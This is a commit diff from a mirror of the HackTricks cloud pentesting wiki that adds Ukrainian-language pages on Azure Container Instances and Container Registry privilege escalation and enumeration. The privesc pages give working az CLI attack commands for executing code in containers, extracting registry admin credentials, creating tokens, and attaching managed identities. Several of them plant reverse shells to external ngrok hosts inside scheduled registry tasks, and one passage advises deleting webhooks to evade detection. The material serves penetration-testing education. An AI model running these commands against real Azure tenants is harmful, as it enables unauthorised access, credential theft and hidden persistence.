mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 06:13:16 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Ці дозволи дозволяють користувачу **виконати команду** в запущеному контейнері. Це можна використовувати для **ескалації привілеїв** у контейнері, якщо до нього прикріплено будь-яку керовану ідентичність. Звичайно, також можливо отримати доступ до вихідного коду та будь-якої іншої чутливої інформації, що зберігається всередині контейнера.
|
||||
|
||||
Щоб виконати `ls` і отримати вихід, це так само просто, як:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
Також можливо **прочитати вихідні дані** контейнера за допомогою:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Або отримайте журнали за допомогою:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ці дозволи дозволяють **прикріпити керовану користувачем ідентичність** до групи контейнерів. Це дуже корисно для ескалації привілеїв у контейнері.
|
||||
|
||||
Щоб прикріпити керовану користувачем ідентичність до групи контейнерів:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ці дозволи дозволяють **створювати або оновлювати групу контейнерів** з **управляємим користувачем ідентифікатором** прикріпленим до неї. Це дуже корисно для ескалації привілеїв у контейнері.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Крім того, також можливо оновити існуючу групу контейнерів, додавши, наприклад, аргумент **`--command-line`** з реверс-шелом.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
Ця дозволяє користувачу переглядати облікові дані адміністратора ACR. Це корисно для **отримання повного доступу** до реєстру.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
У випадку, якщо облікові дані адміністратора не активовані, вам також знадобиться дозвіл `Microsoft.ContainerRegistry/registries/write`, щоб активувати їх за допомогою:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
Ці дозволи дозволяють користувачу **створити новий токен** з паролями для доступу до реєстру.
|
||||
|
||||
Щоб використовувати `az cli` для його генерації, як у наступному прикладі, вам також знадобляться дозволи `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
Ці дозволи дозволяють користувачу **створювати та запускати образ** у реєстрі. Це можна використовувати для **виконання коду** в контейнері.
|
||||
|
||||
>[!WARNING]
|
||||
> Однак, образ буде виконуватись у **пісочниці** і **без доступу до служби метаданих**. Це означає, що контейнер не матиме доступу до **метаданих екземпляра**, тому це не є дійсно корисним для ескалації привілеїв.
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
Це основний дозвіл, який дозволяє створювати та оновлювати завдання в реєстрі. Це можна використовувати для **виконання коду всередині контейнера з прикріпленою до нього керованою ідентичністю** в контейнері.
|
||||
|
||||
Це приклад того, як виконати реверс-шелл у контейнері з **керованою системою** ідентичністю, прикріпленою до нього:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Інший спосіб отримати RCE з задачі без використання зовнішнього репозиторію - це використати команду `az acr task create` з прапором `--cmd`. Це дозволить вам виконати команду в контейнері. Наприклад, ви можете запустити реверс-шелл за допомогою наступної команди:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що для призначення системного керованого ідентифікатора вам не потрібні спеціальні дозволи, хоча він повинен бути активований раніше в реєстрі та отримати деякі дозволи, щоб бути корисним.
|
||||
|
||||
Щоб також призначити **керований ідентифікатор користувача**, вам знадобиться дозвіл `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, щоб виконати:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Щоб **оновити** репозиторій існуючого завдання, ви можете зробити:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
З цією дозволом можливо **імпортувати зображення до реєстру azure**, навіть не маючи зображення локально. Однак зверніть увагу, що ви **не можете імпортувати зображення з тегом**, який вже існує в реєстрі.
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
Щоб **видалити або зняти мітку з конкретного зображення** з реєстру, ви можете використати наступну команду. Однак зверніть увагу, що вам знадобиться користувач або токен з **достатніми правами** для цього:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Azure Container Instances (ACI) надають **безсерверний, за запитом спосіб** запуску **контейнерів** в хмарі Azure. Ви можете **розгорнути** один або кілька контейнерів у групі з **масштабованими обчисленнями**, **мережевими опціями** та гнучкістю підключення до **інших служб Azure** (таких як Storage, Virtual Networks або Container Registries).
|
||||
|
||||
Оскільки це **епhemeral** навантаження, вам не потрібно керувати основною інфраструктурою ВМ — Azure займається цим за вас. Однак з точки зору **оборонної безпеки** важливо розуміти, як **дозволи**, **особи**, **мережеві конфігурації** та **журнали** можуть виявити поверхні атаки та потенційні неправильні налаштування.
|
||||
|
||||
### Конфігурації
|
||||
|
||||
- Щоб створити контейнер, можна використовувати публічний образ, образ контейнера з Azure Container Registry або зовнішнього репозиторію, що може **вимагати налаштування пароля** для доступу до нього.
|
||||
- Щодо мережі, він також може мати **публічну IP-адресу** або бути **приватними кінцевими точками**.
|
||||
- Також можливо налаштувати загальні налаштування docker, такі як:
|
||||
- **Змінні середовища**
|
||||
- **Томи** (навіть з Azure Files)
|
||||
- **Порти**
|
||||
- **Обмеження CPU та пам'яті**
|
||||
- **Політика перезапуску**
|
||||
- **Запуск з привілегіями**
|
||||
- **Командний рядок для запуску**
|
||||
- ...
|
||||
|
||||
## Перерахування
|
||||
|
||||
> [!WARNING]
|
||||
> Під час перерахування ACI ви можете виявити чутливі конфігурації, такі як **змінні середовища**, **мережеві деталі** або **керовані особи**. Будьте обережні з їхнім веденням або відображенням.
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Container Registry (ACR) - це безпечний, приватний реєстр, який дозволяє вам **зберігати, керувати та отримувати доступ до контейнерних зображень в хмарі Azure**. Він безшовно інтегрується з кількома службами Azure, забезпечуючи автоматизовані робочі процеси збірки та розгортання в масштабах. Завдяки таким функціям, як гео-реплікація та сканування вразливостей, ACR допомагає забезпечити безпеку та відповідність корпоративного рівня для контейнеризованих додатків.
|
||||
|
||||
### Permissions
|
||||
|
||||
Це **різні дозволи** [згідно з документацією](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), які можуть бути надані над реєстром контейнерів:
|
||||
|
||||
- Доступ до Resource Manager
|
||||
- Створення/видалення реєстру
|
||||
- Завантаження зображення
|
||||
- Витягування зображення
|
||||
- Видалення даних зображення
|
||||
- Зміна політик
|
||||
- Підписування зображень
|
||||
|
||||
Існують також деякі **вбудовані ролі**, які можуть бути призначені, і також можливо створити **кастомні ролі**.
|
||||
|
||||

|
||||
|
||||
### Authentication
|
||||
|
||||
> [!WARNING]
|
||||
> Дуже важливо, що навіть якщо ім'я реєстру містить великі літери, ви завжди повинні використовувати **малі літери** для входу, завантаження та витягування зображень.
|
||||
|
||||
Існує 4 способи аутентифікації до ACR:
|
||||
|
||||
- **З Entra ID**: Це **за замовчуванням** спосіб аутентифікації до ACR. Він використовує команду **`az acr login`** для аутентифікації до ACR. Ця команда **зберігає облікові дані** у файлі **`~/.docker/config.json`**. Більше того, якщо ви виконуєте цю команду з середовища без доступу до сокета docker, як у **хмарному терміналі**, можливо використовувати прапорець **`--expose-token`** для отримання **токена** для аутентифікації до ACR. Потім для аутентифікації потрібно використовувати як ім'я користувача `00000000-0000-0000-0000-000000000000`, наприклад: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **З обліковим записом адміністратора**: Обліковий запис адміністратора за замовчуванням вимкнений, але його можна увімкнути, і тоді буде можливість отримати доступ до реєстру з **ім'ям користувача** та **паролем** адміністратора з повними правами на реєстр. Це все ще підтримується, оскільки деякі служби Azure використовують його. Зверніть увагу, що для цього користувача створюються **2 паролі**, і обидва є дійсними. Ви можете увімкнути його за допомогою `az acr update -n <acrName> --admin-enabled true`. Зверніть увагу, що ім'я користувача зазвичай є ім'ям реєстру (а не `admin`).
|
||||
- **З токеном**: Можливо створити **токен** з **конкретною `scope map`** (дозволами) для доступу до реєстру. Потім можливо використовувати це ім'я токена як ім'я користувача та деякий згенерований пароль для аутентифікації до реєстру за допомогою `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **З Service Principal**: Можливо створити **service principal** і призначити роль, таку як **`AcrPull`**, для витягування зображень. Потім буде можливість **увійти до реєстру**, використовуючи appId SP як ім'я користувача та згенерований секрет як пароль.
|
||||
|
||||
Приклад скрипта з [документації](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) для генерації SP з доступом до реєстру:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Шифрування
|
||||
|
||||
Тільки **Premium SKU** підтримує **шифрування в спокої** для зображень та інших артефактів.
|
||||
|
||||
### Мережа
|
||||
|
||||
Тільки **Premium SKU** підтримує **приватні кінцеві точки**. Інші версії підтримують лише **публічний доступ**. Публічна кінцева точка має формат `<registry-name>.azurecr.io`, а приватна кінцева точка має формат `<registry-name>.privatelink.azurecr.io`. З цієї причини ім'я реєстру повинно бути унікальним у всьому Azure.
|
||||
|
||||
### Microsoft Defender для Cloud
|
||||
|
||||
Це дозволяє вам **сканувати зображення** в реєстрі на наявність **вразливостей**.
|
||||
|
||||
### М'яке видалення
|
||||
|
||||
Функція **м'якого видалення** дозволяє вам **відновити видалений реєстр** протягом вказаної кількості днів. Ця функція **вимкнена за замовчуванням**.
|
||||
|
||||
### Вебхуки
|
||||
|
||||
Можливо **створити вебхуки** всередині реєстрів. У цьому вебхуці потрібно вказати URL, куди **буде надіслано запит щоразу, коли виконується дія push або delete**. Більше того, вебхуки можуть вказувати область, щоб вказати репозиторії (зображення), які будуть підлягати впливу. Наприклад, 'foo:*' означає події під репозиторієм 'foo'.
|
||||
|
||||
З точки зору атакуючого цікаво перевірити це **перед виконанням будь-якої дії** в реєстрі та тимчасово видалити його, якщо це необхідно, щоб уникнути виявлення.
|
||||
|
||||
### Підключені реєстри
|
||||
|
||||
Це в основному дозволяє **дзеркалити зображення** з одного реєстру в інший, зазвичай розташований на місці.
|
||||
|
||||
Він має 2 режими: **ReadOnly** та **ReadWrite**. У першому з них зображення лише **витягуються** з вихідного реєстру, а в другому зображення також можуть бути **додані** до вихідного реєстру.
|
||||
|
||||
Для того, щоб клієнти могли отримати доступ до реєстру з Azure, **токен** генерується, коли використовується підключений реєстр.
|
||||
|
||||
### Запуски та Завдання
|
||||
|
||||
Запуски та Завдання дозволяють виконувати в Azure дії, пов'язані з контейнерами, які зазвичай потрібно було виконувати локально або в CI/CD конвеєрі. Наприклад, ви можете **будувати, додавати та запускати зображення в реєстрі**.
|
||||
|
||||
Найпростіший спосіб побудувати та запустити контейнер - це використання звичайного Запуску:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
Однак це викличе запуски, які не є надто цікавими з точки зору атакуючого, оскільки до них не прикріплено жодної керованої ідентичності.
|
||||
|
||||
Однак **tasks** можуть мати **системну та користувацьку керовану ідентичність**. Ці завдання є корисними для **ескалації привілеїв** у контейнері. У розділі ескалації привілеїв можна побачити, як використовувати завдання для ескалації привілеїв.
|
||||
|
||||
### Cache
|
||||
|
||||
Функція кешу дозволяє **завантажувати зображення з зовнішнього репозиторію** та зберігати нові версії в реєстрі. Це вимагає наявності деяких **налаштованих облікових даних**, вибираючи облікові дані з Azure Vault.
|
||||
|
||||
Це дуже цікаво з точки зору атакуючого, оскільки це дозволяє **переходити на зовнішню платформу**, якщо атакуючий має достатні дозволи для доступу до облікових даних, **завантажувати зображення з зовнішнього репозиторію** та налаштування кешу також може бути використано як **механізм збереження**.
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> Дуже важливо, що навіть якщо ім'я реєстру містить великі літери, ви повинні використовувати лише малі літери в URL для доступу до нього.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Підвищення привілеїв та постексплуатація
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user